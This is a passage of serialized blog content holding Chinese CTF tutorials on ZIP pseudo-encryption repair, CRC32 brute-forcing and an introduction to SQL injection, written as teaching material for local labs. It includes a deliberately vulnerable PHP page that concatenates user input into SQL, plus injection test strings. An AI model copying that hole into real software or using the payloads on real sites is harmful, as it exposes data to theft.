的\"加密标志位\"结构，学会修复伪加密。",[15,11945,11946,11948],{},[333,11947,341],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[355,11950,11952],{"id":11951},"_41-zip-结构","4.1 ZIP 结构",[15,11954,11955],{},"本地文件头：",[31,11957,11960],{"className":11958,"code":11959,"language":380,"meta":36},[378],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[26,11961,11959],{"__ignoreMap":36},[15,11963,11964,11965,11968],{},"中央目录头（签名 ",[26,11966,11967],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[355,11970,11972],{"id":11971},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,11974,11975,11977],{},[333,11976,335],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[31,11979,11981],{"className":841,"code":11980,"language":843,"meta":36,"style":36},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[26,11982,11983,11988,11992,11997,12002,12006,12011],{"__ignoreMap":36},[40,11984,11985],{"class":42,"line":43},[40,11986,11987],{},"import zipfile\n",[40,11989,11990],{"class":42,"line":49},[40,11991,59],{"emptyLinePlaceholder":58},[40,11993,11994],{"class":42,"line":55},[40,11995,11996],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[40,11998,11999],{"class":42,"line":62},[40,12000,12001],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[40,12003,12004],{"class":42,"line":68},[40,12005,59],{"emptyLinePlaceholder":58},[40,12007,12008],{"class":42,"line":74},[40,12009,12010],{},"data = open('flag.zip', 'rb').read()\n",[40,12012,12013],{"class":42,"line":80},[40,12014,12015],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,12017,923],{},[31,12019,12022],{"className":12020,"code":12021,"language":380,"meta":36},[378],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[26,12023,12021],{"__ignoreMap":36},[15,12025,12026],{},"解释：",[31,12028,12031],{"className":12029,"code":12030,"language":380,"meta":36},[378],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[26,12032,12030],{"__ignoreMap":36},[355,12034,12036],{"id":12035},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12038,12039,12041],{},[333,12040,341],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[31,12043,12045],{"className":841,"code":12044,"language":843,"meta":36,"style":36},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[26,12046,12047,12052,12056,12061,12066,12071,12075,12080,12085,12090,12094],{"__ignoreMap":36},[40,12048,12049],{"class":42,"line":43},[40,12050,12051],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[40,12053,12054],{"class":42,"line":49},[40,12055,59],{"emptyLinePlaceholder":58},[40,12057,12058],{"class":42,"line":55},[40,12059,12060],{},"# 本地文件头：偏移 6 处标志位置位\n",[40,12062,12063],{"class":42,"line":62},[40,12064,12065],{},"idx = data.find(b'PK\\x03\\x04')\n",[40,12067,12068],{"class":42,"line":68},[40,12069,12070],{},"data[idx + 6] |= 1\n",[40,12072,12073],{"class":42,"line":74},[40,12074,59],{"emptyLinePlaceholder":58},[40,12076,12077],{"class":42,"line":80},[40,12078,12079],{},"# 中央目录头：偏移 8 处标志位置位\n",[40,12081,12082],{"class":42,"line":86},[40,12083,12084],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[40,12086,12087],{"class":42,"line":92},[40,12088,12089],{},"data[idx2 + 8] |= 1\n",[40,12091,12092],{"class":42,"line":98},[40,12093,59],{"emptyLinePlaceholder":58},[40,12095,12096],{"class":42,"line":104},[40,12097,12098],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12100,12101],{},"修改后的 hexdump：",[31,12103,12106],{"className":12104,"code":12105,"language":380,"meta":36},[378],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[26,12107,12105],{"__ignoreMap":36},[15,12109,12110],{},"尝试读取：",[31,12112,12114],{"className":841,"code":12113,"language":843,"meta":36,"style":36},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[26,12115,12116,12120,12124,12129,12134,12139,12144],{"__ignoreMap":36},[40,12117,12118],{"class":42,"line":43},[40,12119,11987],{},[40,12121,12122],{"class":42,"line":49},[40,12123,59],{"emptyLinePlaceholder":58},[40,12125,12126],{"class":42,"line":55},[40,12127,12128],{},"try:\n",[40,12130,12131],{"class":42,"line":62},[40,12132,12133],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[40,12135,12136],{"class":42,"line":68},[40,12137,12138],{},"        print(z.read('flag.txt'))\n",[40,12140,12141],{"class":42,"line":74},[40,12142,12143],{},"except Exception as e:\n",[40,12145,12146],{"class":42,"line":80},[40,12147,12148],{},"    print(type(e).__name__, e)\n",[15,12150,923],{},[31,12152,12155],{"className":12153,"code":12154,"language":380,"meta":36},[378],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[26,12156,12154],{"__ignoreMap":36},[15,12158,12159],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[355,12161,12163],{"id":12162},"_44-修复","4.4 修复",[15,12165,12166,12168,12169,12172],{},[333,12167,341],{},"：把两处标志位最低位清零（",[26,12170,12171],{},"& 0xfe","），恢复成未加密状态。",[31,12174,12176],{"className":841,"code":12175,"language":843,"meta":36,"style":36},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[26,12177,12178,12183,12187,12191,12196,12200,12205,12209,12214,12218,12223],{"__ignoreMap":36},[40,12179,12180],{"class":42,"line":43},[40,12181,12182],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[40,12184,12185],{"class":42,"line":49},[40,12186,59],{"emptyLinePlaceholder":58},[40,12188,12189],{"class":42,"line":55},[40,12190,12065],{},[40,12192,12193],{"class":42,"line":62},[40,12194,12195],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[40,12197,12198],{"class":42,"line":68},[40,12199,12084],{},[40,12201,12202],{"class":42,"line":74},[40,12203,12204],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[40,12206,12207],{"class":42,"line":80},[40,12208,59],{"emptyLinePlaceholder":58},[40,12210,12211],{"class":42,"line":86},[40,12212,12213],{},"open('flag_fixed.zip', 'wb').write(data)\n",[40,12215,12216],{"class":42,"line":92},[40,12217,59],{"emptyLinePlaceholder":58},[40,12219,12220],{"class":42,"line":98},[40,12221,12222],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[40,12224,12225],{"class":42,"line":104},[40,12226,12227],{},"    print(z.read('flag.txt'))\n",[15,12229,923],{},[31,12231,12234],{"className":12232,"code":12233,"language":380,"meta":36},[378],"b'ctf{zip}'\n",[26,12235,12233],{"__ignoreMap":36},[15,12237,12238,12239,12242],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[26,12240,12241],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12244,12246],{"id":12245},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12248,12249,12251],{},[333,12250,335],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12253,12254,12256],{},[333,12255,341],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12258,12259],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[31,12261,12263],{"className":841,"code":12262,"language":843,"meta":36,"style":36},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[26,12264,12265,12270,12275,12279,12284,12289,12294,12299,12303,12308,12313,12318,12323,12328,12333,12338,12343,12348,12353],{"__ignoreMap":36},[40,12266,12267],{"class":42,"line":43},[40,12268,12269],{},"import zipfile, zlib, itertools\n",[40,12271,12272],{"class":42,"line":49},[40,12273,12274],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[40,12276,12277],{"class":42,"line":55},[40,12278,59],{"emptyLinePlaceholder":58},[40,12280,12281],{"class":42,"line":62},[40,12282,12283],{},"z = zipfile.ZipFile('flag.zip')\n",[40,12285,12286],{"class":42,"line":68},[40,12287,12288],{},"target = z.getinfo('flag.txt').CRC\n",[40,12290,12291],{"class":42,"line":74},[40,12292,12293],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[40,12295,12296],{"class":42,"line":80},[40,12297,12298],{},"print(\"目标 CRC:\", target)\n",[40,12300,12301],{"class":42,"line":86},[40,12302,59],{"emptyLinePlaceholder":58},[40,12304,12305],{"class":42,"line":92},[40,12306,12307],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[40,12309,12310],{"class":42,"line":98},[40,12311,12312],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[40,12314,12315],{"class":42,"line":104},[40,12316,12317],{},"for length in range(1, 5):\n",[40,12319,12320],{"class":42,"line":110},[40,12321,12322],{},"    for tup in itertools.product(charset, repeat=length):\n",[40,12324,12325],{"class":42,"line":116},[40,12326,12327],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[40,12329,12330],{"class":42,"line":122},[40,12331,12332],{},"        s = ''.join(tup).encode()\n",[40,12334,12335],{"class":42,"line":128},[40,12336,12337],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[40,12339,12340],{"class":42,"line":134},[40,12341,12342],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[40,12344,12345],{"class":42,"line":140},[40,12346,12347],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[40,12349,12350],{"class":42,"line":146},[40,12351,12352],{},"            print(\"爆破结果:\", s)\n",[40,12354,12355],{"class":42,"line":152},[40,12356,12357],{},"            exit()\n",[15,12359,12360,12361,12364],{},"实际输出（目标内容 ",[26,12362,12363],{},"ctf1","）：",[31,12366,12369],{"className":12367,"code":12368,"language":380,"meta":36},[378],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[26,12370,12368],{"__ignoreMap":36},[15,12372,12373,12374,12377,12378,12381],{},"注意 ",[26,12375,12376],{},"zlib.crc32"," 返回有符号整数，需要 ",[26,12379,12380],{},"& 0xffffffff"," 归一化。",[10,12383,2055],{"id":2054},[955,12385,12386,12396],{},[958,12387,12388],{},[961,12389,12390,12392,12394],{},[964,12391,966],{},[964,12393,969],{},[964,12395,972],{},[974,12397,12398,12410,12424,12437],{},[961,12399,12400,12402,12405],{},[979,12401,368],{},[979,12403,12404],{},"看类型",[979,12406,12407],{},[26,12408,12409],{},"file flag.png",[961,12411,12412,12414,12417],{},[979,12413,4440],{},[979,12415,12416],{},"看文件头与结构",[979,12418,12419,1013,12421],{},[26,12420,5046],{},[26,12422,12423],{},"xxd flag.zip | head",[961,12425,12426,12428,12431],{},[979,12427,4532],{},[979,12429,12430],{},"扫描/提取隐藏文件",[979,12432,12433,1013,12435],{},[26,12434,5074],{},[26,12436,5077],{},[961,12438,12439,12441,12444],{},[979,12440,4994],{},[979,12442,12443],{},"LSB 自动检测",[979,12445,12446],{},[26,12447,12448],{},"zsteg -a flag.png",[10,12450,12452],{"id":12451},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12454,12455,12457],{},[333,12456,335],{},"：把前三节串成一道完整题目。",[15,12459,12460,12462],{},[333,12461,341],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12464,2149,12465,307],{},[26,12466,5086],{},[15,12468,5089],{},[31,12470,12472],{"className":267,"code":12471,"language":269,"meta":36,"style":36},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[26,12473,12474,12483,12500],{"__ignoreMap":36},[40,12475,12476,12478,12480],{"class":42,"line":43},[40,12477,368],{"class":276},[40,12479,4411],{"class":284},[40,12481,12482],{"class":2552},"          # PNG image data\n",[40,12484,12485,12487,12489,12491,12493,12495,12497],{"class":42,"line":49},[40,12486,344],{"class":276},[40,12488,4411],{"class":284},[40,12490,493],{"class":492},[40,12492,496],{"class":276},[40,12494,4509],{"class":280},[40,12496,6153],{"class":284},[40,12498,12499],{"class":2552},"    # 无输出\n",[40,12501,12502,12504,12506],{"class":42,"line":55},[40,12503,4532],{"class":276},[40,12505,4411],{"class":284},[40,12507,12508],{"class":2552},"                   # 无隐藏文件\n",[15,12510,12511],{},"第二步：怀疑 LSB，运行提取脚本：",[31,12513,12515],{"className":12514,"code":4968,"language":380,"meta":36},[378],[26,12516,4968],{"__ignoreMap":36},[15,12518,12519,12520,12522],{},"变体：若提取出的字节不是文本而是 ",[26,12521,4318],{}," 开头，把它保存为 zip，再检查是否伪加密：",[31,12524,12526],{"className":841,"code":12525,"language":843,"meta":36,"style":36},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[26,12527,12528,12533],{"__ignoreMap":36},[40,12529,12530],{"class":42,"line":43},[40,12531,12532],{},"with open('extracted.zip', 'wb') as f:\n",[40,12534,12535],{"class":42,"line":49},[40,12536,12537],{},"    f.write(data)\n",[15,12539,12540],{},"然后按第四节流程检查并修复标志位。",[10,12542,2333],{"id":2332},[15,12544,12545,12546,12548,12549,2138,12551,12553],{},"取证主线：",[26,12547,368],{}," 确认类型 → ",[26,12550,344],{},[26,12552,4532],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1098,12555,12556],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":36,"searchDepth":49,"depth":49,"links":12558},[12559,12560,12561,12562,12563,12564,12565,12566],{"id":11561,"depth":55,"text":11562},{"id":1195,"depth":55,"text":1196},{"id":11607,"depth":55,"text":11608},{"id":11937,"depth":55,"text":11938},{"id":12245,"depth":55,"text":12246},{"id":2054,"depth":55,"text":2055},{"id":12451,"depth":55,"text":12452},{"id":2332,"depth":55,"text":2333},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1115,"image":3229,"alt":12569,"tags":12570,"published":58},"隐写与取证深入实战",[1119,5185,12571,1122],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11556,"description":12567},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12577,"title":12578,"body":12579,"description":14426,"extension":1113,"meta":14427,"navigation":58,"ogImage":14428,"path":14431,"seo":14432,"stem":14433,"__hash__":14434},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12580,"toc":14414},[12581,12585,12588,12607,12613,12619,12621,12679,12689,12693,12696,12784,12787,12791,12795,12798,12801,12829,12834,12946,12949,12962,12966,12968,12982,12984,12989,12993,13001,13014,13019,13022,13052,13055,13060,13063,13066,13091,13096,13099,13124,13127,13135,13139,13144,13152,13155,13180,13183,13213,13218,13221,13246,13250,13253,13288,13292,13295,13325,13329,13332,13355,13359,13372,13382,13386,13391,13408,13412,13418,13427,13431,13447,13452,13456,13472,13474,13520,13529,13533,13536,13583,13590,13594,13597,13668,13675,13679,13684,13708,13712,13718,13751,13755,13786,13788,13794,13798,13829,13832,13836,13867,13870,13874,13899,13903,13906,13909,13923,13927,13932,13964,13973,13979,14010,14013,14017,14020,14074,14077,14081,14084,14087,14105,14107,14112,14115,14133,14138,14141,14167,14174,14178,14185,14205,14209,14214,14244,14249,14253,14262,14282,14284,14312,14315,14324,14333,14347,14351,14356,14399,14406,14408,14411],[10,12582,12584],{"id":12583},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12586,12587],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[31,12589,12591],{"className":267,"code":12590,"language":269,"meta":36,"style":36},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[26,12592,12593],{"__ignoreMap":36},[40,12594,12595,12597,12600,12602,12605],{"class":42,"line":43},[40,12596,5437],{"class":276},[40,12598,12599],{"class":280}," -v",[40,12601,5440],{"class":505},[40,12603,12604],{"class":284},"http://127.0.0.1:8000/index.php?id=1",[40,12606,5446],{"class":505},[15,12608,12609,12612],{},[26,12610,12611],{},"-v"," 会显示完整过程，输出示例：",[31,12614,12617],{"className":12615,"code":12616,"language":380,"meta":36},[378],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[26,12618,12616],{"__ignoreMap":36},[15,12620,12026],{},[955,12622,12623,12632],{},[958,12624,12625],{},[961,12626,12627,12630],{},[964,12628,12629],{},"部分",[964,12631,1553],{},[974,12633,12634,12651,12661,12671],{},[961,12635,12636,12641],{},[979,12637,12638],{},[26,12639,12640],{},"GET /index.php?id=1",[979,12642,12643,12644,12647,12648],{},"方法 GET，路径 ",[26,12645,12646],{},"/index.php","，参数 ",[26,12649,12650],{},"id=1",[961,12652,12653,12658],{},[979,12654,12655],{},[26,12656,12657],{},"Host",[979,12659,12660],{},"目标主机",[961,12662,12663,12668],{},[979,12664,12665],{},[26,12666,12667],{},"HTTP/1.1 200 OK",[979,12669,12670],{},"协议版本与状态码，200 表示成功",[961,12672,12673,12676],{},[979,12674,12675],{},"正文",[979,12677,12678],{},"服务器返回的 HTML",[15,12680,12681,12682,12688],{},"Web 漏洞几乎都源于一件事：",[333,12683,12684,12685,12687],{},"参数 ",[26,12686,5412],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12690,12692],{"id":12691},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12694,12695],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[31,12697,12699],{"className":267,"code":12698,"language":269,"meta":36,"style":36},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[26,12700,12701,12706,12721,12729,12735,12747,12751,12756,12767],{"__ignoreMap":36},[40,12702,12703],{"class":42,"line":43},[40,12704,12705],{"class":2552},"# 方式一：源码部署（需要 PHP + MySQL）\n",[40,12707,12708,12710,12712,12715,12718],{"class":42,"line":49},[40,12709,642],{"class":276},[40,12711,645],{"class":284},[40,12713,12714],{"class":284}," php",[40,12716,12717],{"class":284}," php-mysql",[40,12719,12720],{"class":284}," mariadb-server\n",[40,12722,12723,12725,12727],{"class":42,"line":55},[40,12724,5264],{"class":276},[40,12726,5267],{"class":284},[40,12728,5270],{"class":284},[40,12730,12731,12733],{"class":42,"line":62},[40,12732,687],{"class":686},[40,12734,5277],{"class":284},[40,12736,12737,12739,12741,12744],{"class":42,"line":68},[40,12738,5206],{"class":276},[40,12740,5284],{"class":280},[40,12742,12743],{"class":284}," 127.0.0.1:8000",[40,12745,12746],{"class":2552},"        # 启动后浏览器访问，点 Setup/reset Database\n",[40,12748,12749],{"class":42,"line":74},[40,12750,59],{"emptyLinePlaceholder":58},[40,12752,12753],{"class":42,"line":80},[40,12754,12755],{"class":2552},"# 方式二：Docker 部署（最简单）\n",[40,12757,12758,12761,12764],{"class":42,"line":86},[40,12759,12760],{"class":276},"docker",[40,12762,12763],{"class":284}," pull",[40,12765,12766],{"class":284}," tavenli/sqli-labs\n",[40,12768,12769,12771,12774,12776,12779,12782],{"class":42,"line":92},[40,12770,12760],{"class":276},[40,12772,12773],{"class":284}," run",[40,12775,481],{"class":280},[40,12777,12778],{"class":280}," -p",[40,12780,12781],{"class":284}," 8000:80",[40,12783,12766],{"class":284},[15,12785,12786],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12788,12790],{"id":12789},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[355,12792,12794],{"id":12793},"_31-平台与代码","3.1 平台与代码",[15,12796,12797],{},"平台：Linux + PHP + MySQL。",[15,12799,12800],{},"第一步，建数据库。在 MySQL 里执行：",[31,12802,12803],{"className":5231,"code":5303,"language":5233,"meta":36,"style":36},[26,12804,12805,12809,12813,12817,12821,12825],{"__ignoreMap":36},[40,12806,12807],{"class":42,"line":43},[40,12808,5310],{},[40,12810,12811],{"class":42,"line":49},[40,12812,5315],{},[40,12814,12815],{"class":42,"line":55},[40,12816,5320],{},[40,12818,12819],{"class":42,"line":62},[40,12820,5325],{},[40,12822,12823],{"class":42,"line":68},[40,12824,5330],{},[40,12826,12827],{"class":42,"line":74},[40,12828,5335],{},[15,12830,12831,12832,29],{},"第二步，写漏洞页面 ",[26,12833,5340],{},[31,12835,12837],{"className":5204,"code":12836,"language":5206,"meta":36,"style":36},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[26,12838,12839,12843,12847,12852,12857,12861,12865,12870,12875,12879,12883,12888,12893,12898,12902,12906,12911,12915,12919,12924,12929,12933,12938,12942],{"__ignoreMap":36},[40,12840,12841],{"class":42,"line":43},[40,12842,5350],{},[40,12844,12845],{"class":42,"line":49},[40,12846,5355],{},[40,12848,12849],{"class":42,"line":55},[40,12850,12851],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[40,12853,12854],{"class":42,"line":62},[40,12855,12856],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[40,12858,12859],{"class":42,"line":68},[40,12860,59],{"emptyLinePlaceholder":58},[40,12862,12863],{"class":42,"line":74},[40,12864,5213],{},[40,12866,12867],{"class":42,"line":80},[40,12868,12869],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[40,12871,12872],{"class":42,"line":86},[40,12873,12874],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[40,12876,12877],{"class":42,"line":92},[40,12878,59],{"emptyLinePlaceholder":58},[40,12880,12881],{"class":42,"line":98},[40,12882,5364],{},[40,12884,12885],{"class":42,"line":104},[40,12886,12887],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[40,12889,12890],{"class":42,"line":110},[40,12891,12892],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[40,12894,12895],{"class":42,"line":116},[40,12896,12897],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[40,12899,12900],{"class":42,"line":122},[40,12901,59],{"emptyLinePlaceholder":58},[40,12903,12904],{"class":42,"line":128},[40,12905,5369],{},[40,12907,12908],{"class":42,"line":134},[40,12909,12910],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[40,12912,12913],{"class":42,"line":140},[40,12914,59],{"emptyLinePlaceholder":58},[40,12916,12917],{"class":42,"line":146},[40,12918,5374],{},[40,12920,12921],{"class":42,"line":152},[40,12922,12923],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[40,12925,12926],{"class":42,"line":158},[40,12927,12928],{},"    // 取不到更多行时返回 null，while 结束。\n",[40,12930,12931],{"class":42,"line":164},[40,12932,5379],{},[40,12934,12935],{"class":42,"line":170},[40,12936,12937],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[40,12939,12940],{"class":42,"line":176},[40,12941,179],{},[40,12943,12944],{"class":42,"line":182},[40,12945,5388],{},[15,12947,12948],{},"第三步，启动：",[31,12950,12952],{"className":267,"code":12951,"language":269,"meta":36,"style":36},"php -S 127.0.0.1:8000\n",[26,12953,12954],{"__ignoreMap":36},[40,12955,12956,12958,12960],{"class":42,"line":43},[40,12957,5206],{"class":276},[40,12959,5284],{"class":280},[40,12961,5287],{"class":284},[355,12963,12965],{"id":12964},"_32-正常请求","3.2 正常请求",[15,12967,1251],{},[31,12969,12970],{"className":267,"code":5430,"language":269,"meta":36,"style":36},[26,12971,12972],{"__ignoreMap":36},[40,12973,12974,12976,12978,12980],{"class":42,"line":43},[40,12975,5437],{"class":276},[40,12977,5440],{"class":505},[40,12979,5443],{"class":284},[40,12981,5446],{"class":505},[15,12983,423],{},[31,12985,12987],{"className":12986,"code":5452,"language":380,"meta":36},[378],[26,12988,5452],{"__ignoreMap":36},[355,12990,12992],{"id":12991},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,12994,12995,12997,12998,13000],{},[333,12996,335],{},"：确认 ",[26,12999,5412],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,13002,13003,13005,13006,13009,13010,13013],{},[333,13004,341],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[26,13007,13008],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[26,13011,13012],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13015,13016,13018],{},[333,13017,1691],{},"：逐条发送以下三个请求，对比输出。",[15,13020,13021],{},"输入 1：",[31,13023,13025],{"className":267,"code":13024,"language":269,"meta":36,"style":36},"curl 